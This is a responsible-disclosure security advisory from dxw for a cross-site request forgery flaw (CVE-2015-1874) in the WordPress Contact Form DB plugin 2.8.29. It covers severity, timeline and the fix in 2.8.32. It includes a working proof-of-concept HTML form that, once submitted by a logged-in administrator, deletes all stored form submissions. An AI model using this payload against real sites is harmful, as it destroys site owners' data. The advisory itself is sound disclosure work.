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WordPress Contact Form DB 2.8.29 Cross Site Request Forgery

WordPress Contact Form DB 2.8.29 Cross Site Request Forgery
Posted Mar 4, 2015
Authored by Tom Adams

WordPress Contact Form DB plugin version 2.8.29 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-1874
SHA-256 | 17c045c565a5964067be268befbffcced1479a51cc769949b62b5c8feece37c7

WordPress Contact Form DB 2.8.29 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: Contact Form DB
Version: 2.8.29
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/
CVE: CVE-2015-1874
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in Contact Form DB allows attacker to delete all stored form submissions

Vulnerability
================
An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">
<input name=\"all\" type=\"text\" value=\"y\">
<input name=\"delete\" type=\"text\" value=\"y\">
<input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 2.8.32 or later

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-02-05: Discovered
2015-02-17: Reported to vendor by email
2015-02-22: Vendor responded and agreed a schedule for fix
2015-02-23: Vendor published a fix in version 2.8.32
2015-03-04: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




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